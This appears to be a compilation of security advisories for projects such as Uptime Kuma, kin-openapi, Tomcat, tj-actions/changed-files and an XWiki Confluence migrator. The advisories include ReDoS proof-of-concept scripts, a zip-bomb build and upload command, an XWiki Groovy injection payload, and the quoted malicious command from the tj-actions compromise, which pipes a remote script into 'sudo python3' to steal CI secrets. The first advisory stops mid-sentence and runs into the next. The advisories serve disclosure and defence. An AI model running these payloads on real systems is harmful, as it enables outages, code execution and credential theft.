Uptime Kuma's Regular Expression in pushdeeer and whapi file Leads to ReDoS Vulnerability Due to Catastrophic Backtracking

[Severity: MEDIUM]

### Summary
There is a `ReDoS vulnerability risk` in the system, specifically when administrators create `notification` through the web service(`pushdeer` and `whapi`). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack.

### Details
The regular expression` \/*$\` is used to match zero or more slashes `/` at the end of a URL. When a malicious attack string appends a large number of slashes `/` and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources.
```js
.replace(/\/*$/, "")
```
For the regular expression `/\/*$/`, an attack string like
```javascript
"https://e" + "/".repeat(100000) + "@"
```
can trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack.
> When entered from the web interface, the attack string needs to expand `"/".repeat(100000)` and be input directly, such as `https://e/////////..//@`. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk.

### PoC
The poc.js is in:
https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0
The time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack:
```javascript
const semver = require("semver");
let test;
const nodeVersion = process.versions.node;
if (semver.satisfies(nodeVersion, ">= 18")) {
    test = require("node:test");
} else {
    test = require("test");
}
const PushDeer = require("../../server/notification-providers/pushdeer.js");

const assert = require("node:assert");

test("Test ReDos - attack string", async (t) => {
    const pushDeer = new PushDeer();
    const notification = {
        pushdeerServer: "https://e" + "/".repeat(100000) + "@",
    };
    const msg = "Test Attacking";
    const startTime = performance.now();
    try {
        pushDeer.send(notification, msg)
    } catch (error) {
    // pass
    }
    const endTime = performance.now();
    const elapsedTime = endTime - startTime;
    const reDosThreshold = 2000;
    assert(elapsedTime <= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`);
});
```
> Move the `test-uptime-calculator.js` file to the `./uptime-kuma/test/backend-test` folder and run `npm run test-backend` to execute the backend tests.

Trigger conditions for whapi jams, In the send function within the `uptime-kuma\server\notification-providers\pushdeer.js` file:
https://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28
```js
// The attack string "httpS://example" + "/".repeat(100000) + "@"
// poc.js
// Import the target file
const Whapi = require("./uptime-kuma/server/notification-providers/whapi");

// Create an instance of Whapi
const whapi = new Whapi();

const notification = {
    whapiApiUrl: "https://e" + "/".repeat(100000) + "@",
};
// console.log(`${notification.whapiApiUrl}`);
// Define the message to be sent
const msg = "Test Attacking";

// Call the send method and handle exceptions
whapi.send(notification, msg)

// 1-5 are the original installation methods for the project
// 6-8 are attack methods
// ---
// 1.run `git clone https://github.com/louislam/uptime-kuma.git`
// 2.run `cd uptime-kuma`
// 3.run `npm run setup`
// 4.run `npm install pm2 -g && pm2 install pm2-logrotate`
// 5.run `pm2 start server/server.js --name uptime-kuma`
// ---
// 6.Run npm install in the root directory of the same level as `README.md`
// 7.Move `poc.js` to the root directory of the same level as `README.md`
// 8.and then run `node poc.js`
```

After running, a noticeable lag can be observed, with the regular expression matching time increasing from a few milliseconds to over 2000 milliseconds.

You can also perform this attack on the web interface. By timing the operation, it can be observed that the lag still occurs. The key to the attack string is appending a large number of `/` to the URL, followed by a `non-/` character at the end, entered directly.

### Impact
**What kind of vulnerability is it?**

This is a `Regular Expression Denial of Service (ReDoS)` vulnerability. ReDoS exploits poorly designed regular expressions that can lead to excessive backtracking under certain input conditions, causing the affected application to consume high CPU and memory resources. This can result in `significant performance degradation or complete service unavailability`, especially when processing specially crafted attack strings.

**Who is impacted?**
1. **Uptime Kuma users**:
Any users or administrators running the Uptime Kuma project are potentially affected, especially if they allow untrusted input through the web interface or notification services like `pushdeer.js` and `whapi.js`. Attackers can exploit this vulnerability by injecting crafted strings into the input fields.

2. **Web services and hosting providers**:
If Uptime Kuma is deployed in a production environment, the vulnerability could impact hosting providers or servers running the a


github.com/jaredallard/archives Has Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

[Severity: MEDIUM]

### Impact

A malicious user could feed a specially crafted archive to this library causing RCE, modification of files or other bad things in the context of whatever user is running this library as, through the program that imports it.

The severity highly depends on the user's permissions and environment it is being ran in (e.g., non root, read only root container would likely have no impact vs running something as root on a production system).

The severity is also dependent on **arbitrary archives** being passed or not.

Based on the above, severity high was picked to be safe.

### Patches

Patched with the help of snyk and gosec in v1.0.1

### Workarounds

The only workaround is to manually validate archives before submitting them to this library, however that is not recommended vs upgrading to unaffected versions.

### References

https://security.snyk.io/research/zip-slip-vulnerability


Cilium East-west traffic not subject to egress policy enforcement for requests via Gateway API load balancers

[Severity: LOW]

### Impact

For Cilium users who:
- Use Gateway API for Ingress for some services **AND**
- Use [LB-IPAM](https://docs.cilium.io/en/stable/network/lb-ipam/) or BGP for LB Service implementation **AND**
- Use network policies to block egress traffic from workloads in a namespace to workloads in other namespaces

Egress traffic from workloads covered by such network policies to LoadBalancers configured by `Gateway` resources will incorrectly be allowed.

LoadBalancer resources not deployed via a Gateway API configuration are not affected by this issue.

### Patches

This issue was fixed by https://github.com/cilium/proxy/pull/1172.

This issue affects:

- Cilium v1.15 between v1.15.0 and v1.15.14 inclusive
- Cilium v1.16 between v1.16.0 and v1.16.7 inclusive
- Cilium v1.17 between v1.17.0 and v1.17.1 inclusive

This issue is fixed in:

- Cilium v1.15.15
- Cilium v1.16.8
- Cilium v1.17.2

### Workarounds

A Clusterwide Cilium Network Policy can be used to work around this issue for users who are unable to upgrade. An outline of such a policy is provided below:

```
apiVersion: "cilium.io/v2"
kind: CiliumClusterwideNetworkPolicy
metadata:
  name: "workaround"
spec:
  endpointSelector:
    matchExpressions:
    - key: reserved:ingress
      operator: Exists
  ingress:
  - fromEntities:
    - world
```

- The policy opens up connectivity from all locations outside the cluster into the Cilium Ingress Gateway.
- The policy establishes a default deny for all other traffic towards the Cilium Ingress Gateway, including all in-cluster sources.
- It is possible to tailor the policy to more narrowly allow inbound traffic while creating a default deny posture for traffic between namespaces. Users should edit the policy to bring it in line with the security requirements particular to their environments.

### Acknowledgements

The Cilium community has worked together with members of the Isovalent team to prepare these mitigations. Special thanks to @jrajahalme for the fix.

### For more information

If you think you have found a vulnerability affecting Cilium, we strongly encourage you to report it to our security mailing list at [security@cilium.io](mailto:security@cilium.io). This is a private mailing list for the Cilium security team, and your report will be treated as top priority.


Mattermost allows members with permission to convert public channels to private and convert private to public

[Severity: MEDIUM]

Mattermost versions 10.4.x <= 10.4.2, 10.3.x <= 10.3.3, 9.11.x <= 9.11.8 fail to to enforce channel conversion restrictions, which allows members with permission to convert public channels to private ones to also convert private ones to public.


go-redis allows potential out of order responses when `CLIENT SETINFO` times out during connection establishment

[Severity: LOW]

### Impact

The issue only occurs when the `CLIENT SETINFO` command times out during connection establishment. The following circumstances can cause such a timeout:

1. The client is configured to transmit its identity. This can be disabled via the `DisableIndentity` flag.
2. There are network connectivity issues
3. The client was configured with aggressive timeouts

The impact differs by use case:

* **Sticky connections**: Rather than using a connection from the pool on-demand, the caller can stick with a connection. Then you receive persistent out-of-order responses for the lifetime of the connection.
* **Pipelines**: All commands in the pipeline receive incorrect responses.
* **Default connection pool usage without pipelining**: When used with the default [ConnPool](https://github.com/redis/go-redis/blob/8fadbef84a3f4e7573f8b38e5023fd469470a8a4/internal/pool/pool.go#L77) once a connection is returned after use with [ConnPool#Put](https://github.com/redis/go-redis/blob/8fadbef84a3f4e7573f8b38e5023fd469470a8a4/internal/pool/pool.go#L366) the read buffer will be checked and the connection will be marked as bad due to the unread data. This means that at most one out-of-order response before the connection is discarded.

### Patches
We prepared a fix in https://github.com/redis/go-redis/pull/3295 and plan to release patch versions soon.

### Workarounds
You can prevent the vulnerability by setting the flag `DisableIndentity` (BTW: We also need to fix the spelling.) to `true` when constructing the client instance.

### Credit

Akhass Wasti
Ramin Ghorashi
Anton Amlinger
Syed Rahman
Mahesh Venkateswaran
Sergey Zavoloka
Aditya Adarwal
Abdulla Anam
Abd-Alhameed
Alex Vanlint
Gaurav Choudhary
Vedanta Jha
Yll Kelani
Ryan Picard


kcp allows unauthorized creation and deletion of objects in arbitrary workspaces through APIExport Virtual Workspace

[Severity: CRITICAL]

### Impact

The `APIExport` Virtual Workspace can be used to manage objects in workspaces that bind that `APIExport` for resources defined in the `APIExport` or specified and accepted via permission claims. This allows an API provider (via their `APIExport`) scoped down access to workspaces of API consumers to provide their services properly.

The identified vulnerability allows creating or deleting an object via the `APIExport` VirtualWorkspace in any arbitrary target workspace for pre-existing resources. By design, this should only be allowed when the workspace owner decides to give access to an API provider by creating an APIBinding.

With this vulnerability, it is possible for an attacker to create and delete objects even if none of these requirements are satisfied, i.e. even if there is no APIBinding in that workspace at all or the workspace owner has created an APIBinding, but rejected a permission claim.

### Patches

A fix for this issue has been identified and has been published with kcp 0.26.3 and 0.27.0.

### Workarounds

For users unable to upgrade to one of the patched versions, the following guidance can be given:

- Minimise the set of people with `apiexport/content` sub-resource access to `APIExport` resources. Be aware that this has to apply to all workspaces to be effective.
- Filter incoming requests in a reverse proxy with a similar logic as the authorizer added in the referenced pull request.

### References

See pull request (https://github.com/kcp-dev/kcp/pull/3338).


vLLM allows Remote Code Execution by Pickle Deserialization via AsyncEngineRPCServer() RPC server entrypoints

[Severity: CRITICAL]

vllm-project vllm version 0.6.0 contains a vulnerability in the AsyncEngineRPCServer() RPC server entrypoints. The core functionality run_server_loop() calls the function _make_handler_coro(), which directly uses cloudpickle.loads() on received messages without any sanitization. This can result in remote code execution by deserializing malicious pickle data.


Improper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter

[Severity: HIGH]

### Summary

When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.

### Details

The root cause comes from the [ZipFileBodyDecoder](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523), which is registered [automatically](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275) by the module (contrary to what the [documentation says](https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse).

### PoC
To reproduce the vulnerability, you can use the following OpenAPI schema:
```yaml
openapi: 3.0.0
info:
  title: 'Validator'
  version: 0.0.1
paths:
  /:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              required:
                - file
              properties:
                file:
                  type: string
                  format: binary
      responses:
        '200':
          description: Created
```
And this code to validate the request (nothing fancy, it basically only calls the `openapi3filter.ValidateRequest` function`):
```go
package main

import (
	"fmt"
	"log"
	"net/http"

	"github.com/getkin/kin-openapi/openapi3filter"
	legacyrouter "github.com/getkin/kin-openapi/routers/legacy"

	"github.com/getkin/kin-openapi/openapi3"
)

func handler(w http.ResponseWriter, r *http.Request) {
	loader := openapi3.NewLoader()

	doc, err := loader.LoadFromFile("schema.yaml")
	if err != nil {
		http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError)
		return
	}

	if err := doc.Validate(r.Context()); err != nil {
		http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest)
		return
	}

	router, err := legacyrouter.NewRouter(doc)
	if err != nil {
		http.Error(w, "Failed to create router", http.StatusInternalServerError)
		return
	}

	route, pathParams, err := router.FindRoute(r)
	if err != nil {
		http.Error(w, "Failed to find route", http.StatusNotFound)
		return
	}

	input := &openapi3filter.RequestValidationInput{
		Request:     r,
		QueryParams: r.URL.Query(),
		Route:       route,
		PathParams:  pathParams,
	}

	if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {
		http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest)
		return
	}

	w.Write([]byte("request ok !"))
}

func main() {
	http.HandleFunc("/", handler)
	log.Fatal(http.ListenAndServe(":8080", nil))

}
```

We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:
```shell
perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt
```

Run the PoC provided, and upload the zip bomb with `curl localhost:8080/  -F file="@/tmp/bomb.zip;type=application/zip" -v`.

Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)

### Impact

An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance.
It seems to only be exploitable if the OpenAPI schema allows for multipart upload.

### Remediation

I see at least 2 potential fixes/improvements:
 - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)
 - Update `ZipFileBodyDecoder` to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)


Bare Metal Operator (BMO) can expose any secret from other namespaces via BMCEventSubscription CRD

[Severity: MEDIUM]

### Impact

The Bare Metal Operator (BMO) implements a Kubernetes API for managing bare metal hosts in Metal3.

Baremetal Operator enables users to load Secret from arbitrary namespaces upon deployment of the namespace scoped Custom Resource `BMCEventSubscription` (BMCES). An adversary Kubernetes account with only namespace level roles (e.g. a tenant controlling a namespace) may create a BMCES in their authorized namespace and then load Secrets from their unauthorized namespaces to their authorized namespace via the Baremetal Operator controller's cluster scoped privileges, causing Secret leakage.

### Patches

The patch makes BMO refuse to read Secrets from other namespace than where the corresponding Bare Metal Host (BMH) resource is. The patch does not change the `BMCEventSubscription` API in BMO, but stricter validation will deny the request at admission time. It will also prevent the controller reading such Secrets, in case the BMCES resource has already been deployed.

The issue exists for all versions of BMO, and is patched in BMO releases v0.9.1 and v0.8.1. Prior upgrading to patched BMO version, duplicate any existing Secret pointed to by `BMCEventSubscription`'s `httpHeadersRef` to the same namespace where the corresponding BMH exists. After upgrade, remove the old Secrets.

### Workarounds

Operator can configure BMO RBAC to be namespace scoped, instead of cluster scoped, to prevent BMO from accessing Secrets from other namespaces, and/or use `WATCH_NAMESPACE` configuration option to limit BMO to single namespace.

### References

- [patch to main](https://github.com/metal3-io/baremetal-operator/commit/19f8443b1fe182f76dd81b43122e8dd102f8b94c)
- [patch to release-0.9](https://github.com/metal3-io/baremetal-operator/pull/2321)
- [patch to release-0.8](https://github.com/metal3-io/baremetal-operator/pull/2322)
- [BMCEventSubscription design document](https://github.com/metal3-io/metal3-docs/blob/main/design/baremetal-operator/bmc-events.md)

### Credits

Metal3 Security Team thanks [WHALEEYE](https://github.com/WHALEEYE) and [debuggerchen](https://github.com/debuggerchen) of [Lab for Internet and Security Technology](https://users.cs.northwestern.edu/~list/) for responsible vulnerability disclosure.


Mattermost Desktop App allows the bypass of Transparency, Consent, and Control (TCC) via code injection

[Severity: LOW]

Mattermost Desktop App versions <=5.10.0 explicitly declared unnecessary macOS entitlements which allows an attacker with remote access to bypass Transparency, Consent, and Control (TCC) via code injection.


Zincati allows unprivileged access to rpm-ostree D-Bus `Deploy()` and `FinalizeDeployment()` methods

[Severity: LOW]

### Impact

Zincati ships a polkit rule which allows the `zincati` system user to use the following actions:
- `org.projectatomic.rpmostree1.deploy`: used to deploy updates to the system
- `org.projectatomic.rpmostree1.finalize-deployment`: used to reboot the system into the deployed update

Since Zincati [v0.0.24](https://github.com/coreos/zincati/releases/tag/v0.0.24), this polkit rule contains a logic error which broadens access of those polkit actions to any unprivileged user rather than just the `zincati` system user.

In practice, this means that any unprivileged user with access to the system D-Bus socket is able to deploy older Fedora CoreOS versions (which may have other known vulnerabilities). Note that rpm-ostree enforces that the selected version must be from the same branch the system is currently on so this cannot directly be used to deploy an attacker-controlled update payload.

This primarily impacts users running untrusted workloads with access to the system D-Bus socket. Note that in general, untrusted workloads should not be given this access, whether containerized or not. By default, containers do not have access to the system D-Bus socket.

### Patches

The logic error is fixed in Zincati v0.0.30. The fix is included in the following FCOS releases:
- On the `stable` stream: 41.20250302.3.2
- On the `testing` stream: 41.20250315.2.0
- On the `next` stream: 42.20250316.1.0

### Workarounds

A workaround is to add the following polkit rule:

```javascript
polkit.addRule(function(action, subject) {
    if (action.id == "org.projectatomic.rpmostree1.deploy" ||
        action.id == "org.projectatomic.rpmostree1.finalize-deployment" ||
        action.id == "org.projectatomic.rpmostree1.cleanup") {
        if (subject.user != "zincati") {
                return polkit.Result.NO;
        }
    }
});
```

to e.g. `/etc/polkit-1/rules.d/00-zincati-fix.rules` (it must sort earlier than `zincati.rules` lexicographically).

Note that this rule will deny all non-root users other than `zincati` from using those actions. If you've added polkit rules to allow e.g. the `core` user or other users, you will need to adjust the policy (or make sure the ordering is appropriate).

### References

This issue was introduced by [this commit](https://github.com/coreos/zincati/commit/28a43aa2c1edda091ba659677d73c13e6e3ea99d), and is fixed in [v0.0.30](https://github.com/coreos/zincati/releases/tag/v0.0.30).


tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.

[Severity: HIGH]

### Summary
A supply chain attack compromised the **tj-actions/changed-files** GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between **March 14 and March 15, 2025**, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.

This has been patched in [v46.0.1](https://github.com/tj-actions/changed-files/releases/tag/v46.0.1).

### Details
The attack involved modifying the **tj-actions/changed-files** GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.

#### Key Indicators of Compromise (IoC):
- **Malicious commit**: [0e58ed8671d6b60d0890c21b07f8835ace038e67](https://github.com/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07f8835ace038e67)
- **Retroactively updated tags pointing to the malicious commit**:
  - `v1.0.0`: 0e58ed8671d6b60d0890c21b07f8835ace038e67
  - `v35.7.7-sec`: 0e58ed8671d6b60d0890c21b07f8835ace038e67
  - `v44.5.1`: 0e58ed8671d6b60d0890c21b07f8835ace038e67

#### Malicious Code Execution:
The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs:
```
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`
```

This script targeted the **Runner Worker process**, extracting and exfiltrating its memory contents.

### Proof of Concept (PoC)
#### Steps to Reproduce:
1. Create a GitHub Actions workflow using the **tj-actions/changed-files** action:

```yml
name: "tj-action changed-files incident"
on:
  pull_request:
    branches:
      - main
jobs:
  changed_files:
    runs-on: ubuntu-latest
    steps:
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67
```
2. Run the workflow and inspect the logs in the Actions tab.
3. Vulnerable workflows may display secrets in the logs.

#### Detection:
Analyze network traffic using [Harden-Runner](https://github.com/step-security/harden-runner), which detects unauthorized outbound requests to:
- `gist.githubusercontent.com`

Live reproduction logs:
🔗 [Harden-Runner Insights](https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/13866127357)

This attack was detected by **StepSecurity** when anomaly detection flagged an unauthorized outbound network call to `gist.githubusercontent.com`.

### Duration of Vulnerability
The vulnerability was active between **March 14 and March 15, 2025**.

### Action Required
1. **Review your workflows executed between March 14 and March 15**:
   - Check the **changed-files** section for unexpected output.
   - Decode suspicious output using the following command:
     ```
     echo 'xxx' | base64 -d | base64 -d
     ```
   - If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.

2. **Update workflows referencing the compromised commit**:
   - If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.

3. **Tagged versions**:
   - If you are using tagged versions (e.g., `v35`, `v44.5.1`), no action is required as these tags have been updated and are now safe to use.

4. **Rotate potentially exposed secrets**:
   - As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.

### Impact
- **Type of vulnerability**: Supply chain attack, Secrets exposure, Information leakage
- **Who is impacted**:
  - Over 23,000 repositories using **tj-actions/changed-files**.
  - Organizations with public repositories are at the highest risk, as their logs may already be compromised.
- **Potential consequences**:
  - Theft of CI/CD secrets (API keys, cloud credentials, SSH keys).
  - Unauthorized access to source code, infrastructure, and production environments.
  - Credential leaks in public repositories, enabling further supply chain attacks.


Post-Quantum Secure Feldman's Verifiable Secret Sharing has Inadequate Fault Injection Countermeasures in `secure_redundant_execution`

[Severity: MEDIUM]

**Description:**

The `secure_redundant_execution` function in feldman_vss.py attempts to mitigate fault injection attacks by executing a function multiple times and comparing results. However, several critical weaknesses exist:

1. Python's execution environment cannot guarantee true isolation between redundant executions
2. The constant-time comparison implementation in Python is subject to timing variations
3. The randomized execution order and timing provide insufficient protection against sophisticated fault attacks
4. The error handling may leak timing information about partial execution results

These limitations make the protection ineffective against targeted fault injection attacks, especially from attackers with physical access to the hardware.

**Impact:**

A successful fault injection attack could allow an attacker to:

1. Bypass the redundancy check mechanisms
2. Extract secret polynomial coefficients during share generation or verification
3. Force the acceptance of invalid shares during verification
4. Manipulate the commitment verification process to accept fraudulent commitments

This undermines the core security guarantees of the Verifiable Secret Sharing scheme.

**References:**

*   File: `feldman_vss.py`
*   Function: `secure_redundant_execution`
*   [Fault Attacks](https://en.wikipedia.org/wiki/Fault_attack) - Wikipedia article on fault attacks.
*   Bar-El, H., et al. "The Sorcerer's Apprentice Guide to Fault Attacks" - https://eprint.iacr.org/2004/100.pdf
* CWE-1279: https://cwe.mitre.org/data/definitions/1279.html
* NIST SP 800-90B section on implementation validation

**Remediation:**

Long-term remediation requires reimplementing the security-critical functions in a lower-level language like Rust.

Short-term mitigations:

1. Deploy the software in environments with physical security controls
2. Increase the redundancy count (from 5 to a higher number) by modifying the source code
3. Add external verification of cryptographic operations when possible
4. Consider using hardware security modules (HSMs) for key operations


Post-Quantum Secure Feldman's Verifiable Secret Sharing has Timing Side-Channels in Matrix Operations

[Severity: MEDIUM]

**Description:**

The `feldman_vss` library contains timing side-channel vulnerabilities in its matrix operations, specifically within the `_find_secure_pivot` function and potentially other parts of `_secure_matrix_solve`. These vulnerabilities are due to Python's execution model, which does not guarantee constant-time execution. An attacker with the ability to measure the execution time of these functions (e.g., through repeated calls with carefully crafted inputs) could potentially recover secret information used in the Verifiable Secret Sharing (VSS) scheme.

The `_find_secure_pivot` function, used during Gaussian elimination in `_secure_matrix_solve`, attempts to find a non-zero pivot element. However, the conditional statement `if matrix[row][col] != 0 and row_random < min_value:` has execution time that depends on the value of `matrix[row][col]`. This timing difference can be exploited by an attacker.

The `constant_time_compare` function in this file also does not provide a constant-time guarantee.

This advisory formalizes the timing side-channel vulnerabilities already documented in the library's "Known Security Vulnerabilities" section. The Python implementation of matrix operations in the _find_secure_pivot and _secure_matrix_solve functions cannot guarantee constant-time execution, potentially leaking information about secret polynomial coefficients.

An attacker with the ability to make precise timing measurements of these operations could potentially extract secret information through statistical analysis of execution times, though practical exploitation would require significant expertise and controlled execution environments.

**Impact:**

Successful exploitation of these timing side-channels could allow an attacker to recover secret keys or other sensitive information protected by the VSS scheme.  This could lead to a complete compromise of the shared secret.

**References:**

*   File: `feldman_vss.py`
*   Function: `_find_secure_pivot`
*   Function: `_secure_matrix_solve`
*   Function: `constant_time_compare`
*   [Timing Attacks on Implementations of Diffie-Hellman, RSA, DSS, and Other Systems (1996)](https://www.rambus.com/wp-content/uploads/2015/08/TimingAttacks.pdf) - A seminal paper on timing attacks.
*   [Side-Channel Attacks](https://en.wikipedia.org/wiki/Side-channel_attack) - Wikipedia article on side-channel attacks.

**Remediation:**

As acknowledged in the library's documentation, these vulnerabilities cannot be adequately addressed in pure Python. The advisory recommends:

1. SHORT TERM: Consider using this library only in environments where timing measurements by attackers are infeasible.

2. MEDIUM TERM: Implement your own wrappers around critical operations using constant-time libraries in languages like Rust, Go, or C.

3. LONG TERM: Wait for the planned Rust implementation mentioned in the library documentation that will properly address these issues.

Note that the usage of random.Random() identified in the _refresh_shares_additive function is intentional and secure as documented in the "False-Positive Vulnerabilities" section of the code, and should not be considered part of this vulnerability.


Froxlor allows Multiple Accounts to Share the Same Email Address Leading to Potential Privilege Escalation or Account Takeover

[Severity: MEDIUM]

### Summary
the vulnerability is that users (such as resellers or customers) are able to create accounts with the same email address as an existing account (e.g., if the admin has [admin@froxlor.com](mailto:admin@froxlor.com), others can also create an account using the same email). This creates potential issues with account identification and security.

### Impact
Local/Authenticated: This vulnerability can be exploited by authenticated users (e.g., reseller, customer) who can create accounts with the same email address that has already been used by another account, such as the admin.
Email-based: The attack vector is email-based, as the system does not prevent multiple accounts from registering the same email address, leading to possible conflicts and security issues.


Babel has inefficient RegExp complexity in generated code with .replace when transpiling named capturing groups

[Severity: MEDIUM]

### Impact

When using Babel to compile [regular expression named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group), Babel will generate a polyfill for the `.replace` method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to `.replace`).

Your generated code is vulnerable if _all_ the following conditions are true:
- You use Babel to compile [regular expression named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group)
- You use the `.replace` method on a regular expression that contains named capturing groups
- **Your code uses untrusted strings as the second argument of `.replace`**

If you are using `@babel/preset-env` with the [`targets`](https://babeljs.io/docs/options#targets) option, the transform that injects the vulnerable code is automatically enabled if:
- you use [_duplicated_ named capturing groups](https://github.com/tc39/proposal-duplicate-named-capturing-groups), and target any browser older than Chrome/Edge 126, Opera 112, Firefox 129, Safari 17.4, or Node.js 23
- you use any [named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group), and target any browser older than Chrome 64, Opera 71, Edge 79, Firefox 78, Safari 11.1, or Node.js 10

You can verify what transforms `@babel/preset-env` is using by enabling the [`debug` option](https://babeljs.io/docs/babel-preset-env#debug).

### Patches

This problem has been fixed in `@babel/helpers` and `@babel/runtime` 7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on `@babel/helpers`, and instead you depend on `@babel/core` (which itself depends on `@babel/helpers`). Upgrading to `@babel/core` 7.26.10 is not required, but it guarantees that you are on a new enough `@babel/helpers` version.

Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code.

### Workarounds

If you are passing user-provided strings as the second argument of `.replace` on regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring `$<` if it's then not followed by `>` (possibly with other characters in between).

### References

This vulnerability was reported and fixed in https://github.com/babel/babel/pull/17173.


Ratify Azure authentication providers can leak authentication tokens to non-Azure container registries

[Severity: HIGH]

### Impact

In a Kubernetes environment, Ratify can be configured to authenticate to a private Azure Container Registry (ACR). The Azure workload identity and Azure managed identity authentication providers are configured in this setup. Users that configure a private ACR to be used with the Azure authentication providers may be impacted.
Both Azure authentication providers attempt to exchange an Entra ID (EID) token for an ACR refresh token. However, Ratify’s Azure authentication providers did not verify that the target registry is an ACR. This could have led to the EID token being presented to a non-ACR registry during token exchange. EID tokens with ACR access can potentially be extracted and abused if a user workload contains an image reference to a malicious registry.

### Patches

The Azure workload identity and Azure managed identity authentication providers are updated to add new validation prior to EID token exchange. Validation relies upon registry domain validation against a pre-configured list of well-known ACR endpoints. EID token exchange will be executed only if at least one of the configured well-known domain suffixes (wildcard support included) matches the registry domain of the image reference.

### Credits

The `ratify` project would like to thank Shiwei Zhang (@shizhMSFT) and Binbin Li (@binbin-li) for responsibly disclosing the issue and thank Binbin Li (@binbin-li) and Akash Singhal (@akashsinghal) for actively mitigating the issue.


Nomad is vulnerable to unintentional exposure of the workload identity token and client secret token in audit logs

[Severity: MEDIUM]

Nomad Community and Nomad Enterprise (“Nomad”) are vulnerable to unintentional exposure of the workload identity token and client secret token in audit logs. This vulnerability, identified as CVE-2025-1296, is fixed in Nomad Community Edition 1.9.7 and Nomad Enterprise 1.9.7, 1.8.11, and 1.7.19.


Apache Tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT

[Severity: CRITICAL]

Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected.

If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files:
- writes enabled for the default servlet (disabled by default)
- support for partial PUT (enabled by default)
- a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads
- attacker knowledge of the names of security sensitive files being uploaded
- the security sensitive files also being uploaded via partial PUT

If all of the following were true, a malicious user was able to perform remote code execution:
- writes enabled for the default servlet (disabled by default)
- support for partial PUT (enabled by default)
- application was using Tomcat's file based session persistence with the default storage location
- application included a library that may be leveraged in a deserialization attack

Users are recommended to upgrade to version 11.0.3, 10.1.35 or 9.0.99, which fixes the issue.


com.xwiki.confluencepro:application-confluence-migrator-pro-ui Remote Code Execution via unescaped translations

[Severity: CRITICAL]

### Impact
A user that doesn't have programming rights can execute arbitrary code when creating a page using the Migration Page template.
A possible attack vector is the following:
* Create a page and add the following content:
```
confluencepro.job.question.advanced.input={{/html}} {{async async="true" cached="false" context="doc.reference"}}{{groovy}}println("hello from groovy!"){{/groovy}}{{/async}}
```
